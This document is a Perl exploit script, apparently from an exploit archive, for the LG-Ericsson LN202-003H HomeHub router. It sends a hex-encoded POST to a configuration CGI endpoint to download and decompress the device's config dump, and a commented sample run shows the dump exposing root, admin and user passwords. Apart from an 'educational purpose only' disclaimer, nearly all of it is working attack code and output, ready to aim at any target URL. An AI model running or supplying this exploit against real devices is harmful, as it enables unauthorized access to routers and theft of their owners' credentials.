Share
#!/usr/bin/perl -w  
#  
# LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
#  
# Disclaimer:  
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages   
# caused by direct or indirect use of the information or functionality provided by these programs.   
# The author or any Internet provider bears NO responsibility for content or misuse of these programs   
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,   
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!   
#   
# (Dont do anything without permissions)  
#  
# # [test@localhost homehubrouter]$ perl lg_ericsson.pl http://192.168.1.1:13337 | egrep --color 'ROOT_ID|ROOT_PW|ADMIN_ID|ADMIN_PW|USER_ID|USER_PW'  
# # [ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure  
# # [ ======================================================================  
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>  
# # [ Initializing the browser  
# # [ >> Referer => http://192.168.1.1:13337  
# # [ >> User-Agent => Mozilla/5.0 (X11; U; GNU/kFreeBSD i686; en-US; rv:1.8.1.16) Gecko/20080702 Iceape/1.1.11 (Debian-1.1.11-1)  
# # [ >> Content-Type => application/x-www-form-urlencoded  
# # [ << Connection => close  
# # [ << Accept-Ranges => bytes  
# # [ << Content-Length => 14890  
# # [ << Content-Type => application/octet-stream  
# # [ << Client-Date => Tue, 01 Oct 2019 16:52:41 GMT  
# # [ << Client-Peer => 192.168.1.1:13337  
# # [ << Client-Response-Num => 1  
# # [ << Content-Disposition => attachment;filename="config.tgz"  
# # [ << Content-Transfer-Encoding => binary  
# # [ << Set-Cookie => QSESSIONID=de20d38aae21395cee9b5294429831b8; path=/  
# # [  
# # [ >> Decompressing the configuration dump...  
# # [  
# # [ USER_ID=  
# # [ ./config/sys_password.conf0000644000000000000000000000010007033241613014553 0ustar rootrootROOT_ID=ktroot  
# # [ ROOT_PW=1234567890  
# # [ USER_ID=ktuser  
# # [ USER_PW=megaap  
# # [ ./config/sys_user_id.conf0000644000000000000000000000003707033241613014354 0ustar rootrootADMIN_ID=ktroot  
# # [ USER_ID=ktuser  
# # [ RA_USER_ID=  
# # [ RA_USER_PW=  
# # [test@localhost homehubrouter]$  
  
#   
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use Gzip::Faster;  
my $host = shift || 'https://192.168.1.1/'; # Full path url to the store  
print "\033[2J"; #clear the screen  
print "\033[0;0H"; #jump to 0,0  
print STDERR "[ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure\n";  
print STDERR "[ ======================================================================\n";  
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";  
print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);  
print STDERR "[ Initializing the browser\n";  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout(30);  
$browser->agent($user_agent);  
my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65";  
my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35";  
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload);   
my $response = $browser->request($request) or die "[ Exploit Failed: $!";  
print STDERR "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;  
print STDERR "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;  
my $gzip = $response->content();  
print STDERR "[\n[ >> Decompressing the configuration dump...\n[\n";  
print "[ ", $_, "\n" for split(/\n/,gunzip($gzip));